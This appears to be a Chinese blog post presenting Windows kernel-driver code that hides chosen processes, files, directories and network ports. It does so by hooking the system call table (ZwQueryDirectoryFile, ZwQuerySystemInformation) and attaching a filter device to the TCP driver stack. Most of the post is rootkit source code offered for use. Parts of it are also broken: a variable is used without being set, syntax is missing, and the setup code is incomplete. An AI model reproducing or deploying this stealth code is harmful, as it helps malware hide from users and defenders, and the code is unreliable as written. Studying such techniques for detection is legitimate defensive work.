隱藏任意程式,目錄檔案,登錄檔,埠

Mobidogs發表於2020-04-04

隱藏任意程式,目錄/檔案,登錄檔,埠 

查詢程式,目錄/檔案,登錄檔等作業系統將最終呼叫 ZwQueryDirectoryFile,ZwQuerySystemInformation, 

ZwXXXvalueKey 等函式。要想攔截這些函式達到隱藏目的,需先自己實現以上函式,並修改系統維護的一個 

SYSCALL 表使之指向自己預先定義的函式。因 SYSCALL 表在使用者層不可見,所以要寫 DRIVE 在 RING 0 下 

才可修改。關於如何修改已有文章詳細介紹過,這裡不在詳述。(可以參見 sysinternals.com 或 WebCrazy 所 

寫的文章)。查詢埠用的是 TDI 查詢。TDI 匯出了兩個裝置 //Device//Tcp 與 //Device//Udp。我們可以利 

用裝置過濾驅動的方法寫一個 DRIVE 把這兩個裝置的所有 IRP 包接管過來進行處理後再傳給下層驅動。以達到 

隱藏任意埠的目的。上述提到的方法不是新東西,是在N年前就已經有的老技術。俺現在將它貼出來只不過為了 

充實下版面,灌灌水罷了。高手們還是別看了。下面是我 DRIVE 中隱藏任意程式,目錄/檔案,埠程式碼片段。 

(登錄檔操作在 RegMon 中寫的很詳細,這裡就不列出了) 

 

 

typedef struct _FILETIME

{

  DWORD dwLowDateTime;

  DWORD dwHighDateTime; 

} FILETIME;

 

 

 

typedef struct _DirEntry 

{

  DWORD dwLenToNext;

  DWORD dwAttr;

  FILETIME ftCreate, ftLastAccess, ftLastWrite;

  DWORD dwUnknown[ 2 ];

  DWORD dwFileSizeLow;

  DWORD dwFileSizeHigh;

  DWORD dwUnknown2[ 3 ];

  WORD wNameLen;

  WORD wUnknown;

  DWORD dwUnknown3;

  WORD wShortNameLen;

  WCHAR swShortName[ 12 ];

  WCHAR suName[ 1 ];

} DirEntry, *PDirEntry;

 

 

 

struct _SYSTEM_THREADS

{

  LARGE_INTEGER KernelTime;

  LARGE_INTEGER UserTime;

  LARGE_INTEGER CreateTime;

  ULONG WaitTime;

  PVOID StartAddress;

  CLIENT_ID ClientIs;

  KPRIORITY Priority;

  KPRIORITY BasePriority;

  ULONG ContextSwitchCount;

  ULONG ThreadState;

  KWAIT_REASON WaitReason;

};

 

 

 

struct _SYSTEM_PROCESSES

{

  ULONG NextEntryDelta;

  ULONG ThreadCount;

  ULONG Reserved[6];

  LARGE_INTEGER CreateTime;

  LARGE_INTEGER UserTime;

  LARGE_INTEGER KernelTime;

  UNICODE_STRING ProcessName;

  KPRIORITY BasePriority;

  ULONG ProcessId;

  ULONG InheritedFromProcessId;

  ULONG HandleCount;

  ULONG Reserved2[2];

  VM_COUNTERS VmCounters;

  IO_COUNTERS IoCounters;

  struct _SYSTEM_THREADS Threads[1];

};

 

 

 

 

// 隱藏目錄/檔案

 

 

 

NTSTATUS HookZwQueryDirectoryFile(

  IN HANDLE hFile,

  IN HANDLE hEvent OPTIONAL,

  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,

  IN PVOID IoApcContext OPTIONAL,

  OUT PIO_STATUS_BLOCK pIoStatusBlock,

  OUT PVOID FileInformationBuffer,

  IN ULONG FileInformationBufferLength,

  IN FILE_INFORMATION_CLASS FileInfoClass,

  IN BOOLEAN bReturnOnlyOneEntry,

  IN PUNICODE_STRING PathMask OPTIONAL,

  IN BOOLEAN bRestartQuery)

{

  NTSTATUS rc;

  CHAR aProcessName[80];  

  ANSI_STRING ansiFileName,ansiDirName;

  UNICODE_STRING uniFileName;

  PP_DIR ptr;

 

 

 

  WCHAR ParentDirectory[1024] = {0};

  int BytesReturned;

  PVOID Object;

 

 

 

   

  // 執行舊的ZwQueryDirectoryFile函式

  rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(

  hFile,  

  hEvent,

  IoApcRoutine,

  IoApcContext,

  pIoStatusBlock,

  FileInformationBuffer,

  FileInformationBufferLength,

  FileInfoClass,

  bReturnOnlyOneEntry,

  PathMask,

  bRestartQuery);

 

  if(NT_SUCCESS(rc)) 

  {

  PDirEntry p;

  PDirEntry pLast;

  BOOL bLastOne;

  int found;  

  p = (PDirEntry)FileInformationBuffer; // 將查詢出來結果賦給結構

  pLast = NULL;

   

  do 

  {

  bLastOne = !( p-〉dwLenToNext );

  RtlInitUnicodeString(&uniFileName,p-〉suName);

  RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);

  RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);

  RtlUpperString(&ansiFileName,&ansiDirName);

 

 

 

  found=0;

   

  // 在連結串列中查詢是否包含當前目錄

  for(ptr = list_head; ptr != NULL; ptr = ptr-〉next)

  {

  if (ptr-〉flag != PTR_HIDEDIR) continue; 

  if( RtlCompareMemory( ansiFileName.Buffer, ptr-〉name,strlen(ptr-〉name) ) == strlen(ptr-〉name))

  {

  found=1;

  break;

  }

  }//end for

 

 

 

  // 如果連結串列中包含當前目錄,隱藏

  if(found)

  {

  if(bLastOne) 

  {

  if(p == (PDirEntry)FileInformationBuffer )

  {

  rc = 0x80000006; //隱藏

  }

  else

  pLast-〉dwLenToNext = 0;

  break;

  } 

  else 

  {

  int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;

  int iLeft = (DWORD)FileInformationBufferLength - iPos - p-〉dwLenToNext;

  RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p-〉dwLenToNext ), (DWORD)iLeft );

  continue;

  }

  }

  pLast = p;

  p = (PDirEntry)((char *)p + p-〉dwLenToNext );

  }while( !bLastOne );

  RtlFreeAnsiString(&ansiDirName);  

  RtlFreeAnsiString(&ansiFileName);

  }

  return(rc);

}

 

 

 

// 隱藏程式

 

 

 

NTSTATUS HookZwQuerySystemInformation(

  IN ULONG SystemInformationClass,

  IN PVOID SystemInformation,

  IN ULONG SystemInformationLength,

  OUT PULONG ReturnLength)

{

  NTSTATUS rc;

 

 

 

  ANSI_STRING process_name,process_uname,process_name1,process_name2;

  BOOL g_hide_proc = TRUE;

  CHAR aProcessName[80];

  PP_DIR ptr;  

  int found;

 

 

 

 

  // 執行舊的ZwQuerySystemInformation函式

 

 

 

  rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

  SystemInformationClass,

  SystemInformation,

  SystemInformationLength,

  ReturnLength );

 

 

 

  if(NT_SUCCESS(rc )) 

  {

  if( g_hide_proc && (5 == SystemInformationClass))

  {

  // 將查詢出來結果賦給結構

  struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

  struct _SYSTEM_PROCESSES *prev = NULL;

 

 

 

  // 遍歷程式

  while(curr)

  {  

   

  if((0 〈 process_name.Length) && (255 〉 process_name.Length))

  {

  found=0;

  // 遍歷連結串列

  for (ptr=list_head;ptr!=NULL;ptr=ptr-〉next )

  {  

  if (ptr-〉flag != PTR_HIDEPROC) continue ;

   

  if (memcmp(process_name.Buffer,ptr-〉name,strlen(ptr-〉name)) == 0)

  {

  found =1;

  }

  }

   

  // 判斷如果是隱藏程式名則覆蓋掉此程式名

  while(found)

  {

 

 

 

  if(prev)

  {

  if(curr-〉NextEntryDelta)

  {

  prev-〉NextEntryDelta += curr-〉NextEntryDelta;

  }

  else

  {

  prev-〉NextEntryDelta = 0;

  }

  }

  else

  {

  if(curr-〉NextEntryDelta)

  {

  (char *)SystemInformation += curr-〉NextEntryDelta;

  }

  else

  {

  SystemInformation = NULL;

  }

  }

   

  if(curr-〉NextEntryDelta)((char *)curr += curr-〉NextEntryDelta);

  else 

  {

  curr = NULL;break;

  }

  // 遍歷連結串列

  found = 0;

  for (ptr=list_head;ptr!=NULL;ptr=ptr-〉next )

  {  

  if (ptr-〉flag != PTR_HIDEPROC) continue ;

   

  if (memcmp(process_name.Buffer,ptr-〉name,strlen(ptr-〉name)) == 0)

  {

  found = 1;

  }

  }

  }

  }

  if(curr != NULL)

  {

  prev = curr;

  if(curr-〉NextEntryDelta) ((char *)curr += curr-〉NextEntryDelta);

  else curr = NULL;

  }

  }

  }

  }

  return(rc);

}

 

 

 

 

//隱藏埠

 

 

 

  PDEVICE_OBJECT m_TcpgetDevice;

 

 

 

  PDEVICE_OBJECT TcpDevice; 

  UNICODE_STRING TcpDeviceName; 

  PDRIVER_OBJECT TcpDriver; 

  PDEVICE_OBJECT TcpgetDevice; 

  PDEVICE_OBJECT FilterDevice

  PDRIVER_DISPATCH Empty; 

  NTSTATUS status; 

 

 

 

  Empty = DriverObject-〉MajorFunction[IRP_MJ_CREATE]; 

   

  RtlInitUnicodeString( &TcpDeviceName, L"//Device//Tcp"); 

 

 

 

  //得到已有的裝置指標

 

 

 

  status = IoGetDeviceObjectPointer( &TcpDeviceName, 

  FILE_ALL_ACCESS, 

  &FileObject, 

  &TcpDevice

  ); 

 

 

 

 

  if(!NT_SUCCESS(status)) 

  { 

  DbgPrint("IoGetDeviceObjectPointer error!/n");

  return status; 

  } 

 

 

 

  DbgPrint("IoGetDeviceObjectPointer ok!/n");

   

  // 建立裝置  

  status = IoCreateDevice( DriverObject, 

  sizeof(DEVICE_EXTENSION), 

  NULL, 

  FILE_DEVICE_UNKNOWN, 

  0, 

  FALSE, 

  &FilterDevice

  ); 

  if(!NT_SUCCESS(status)) 

  { 

  return status; 

  } 

 

 

 

  // 加入裝置

 

 

 

  TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice); 

 

 

 

  if(!TcpgetDevice) 

  { 

  IoDeleteDevice(FilterDevice); 

  DbgPrint("IoAttachDeviceToDeviceStack error!/n");

  return STATUS_SUCCESS; 

  } 

 

 

 

  m_TcpgetDevice = TcpgetDevice;

  

  // 加到過濾函式中處理

  for(i=0;i〈IRP_MJ_MAXIMUM_FUNCTION;i++) 

  { 

  if((TcpDriver-〉MajorFunction[i]!=Empty)&&(DriverObject-〉MajorFunction[i]==Empty)) 

  { 

  DriverObject-〉MajorFunction[i] = PassThrough; 

   

  } 

  } 

 

 

 

  ObDereferenceObject(FileObject); 

 

 

 

 

NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) 

 

 

 

  NTSTATUS status; 

  PIO_STACK_LOCATION pIrpStack;

 

 

 

  pIrpStack = IoGetCurrentIrpStackLocation( Irp );

 

 

 

 

  //如是查詢則完成 IRP 

  if ( pIrpStack-〉Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)

  {

  //這裡可以近一步判斷某個埠

 

 

 

  Irp-〉IoStatus.Status=STATUS_SUCCESS; 

  IoCompleteRequest(Irp,IO_NO_INCREMENT); 

  return STATUS_SUCCESS; 

  }

 

 

 

  //複製當前 IRP 

  IoCopyCurrentIrpStackLocationToNext(Irp);

  

  IoSetCompletionRoutine( Irp, 

  GenericCompletion, 

  NULL, 

  TRUE,

  TRUE,

  TRUE

  ); 

 

 

 

  //傳遞

  return IoCallDriver( m_TcpgetDevice, Irp); 

 

 

 

}


 

相關文章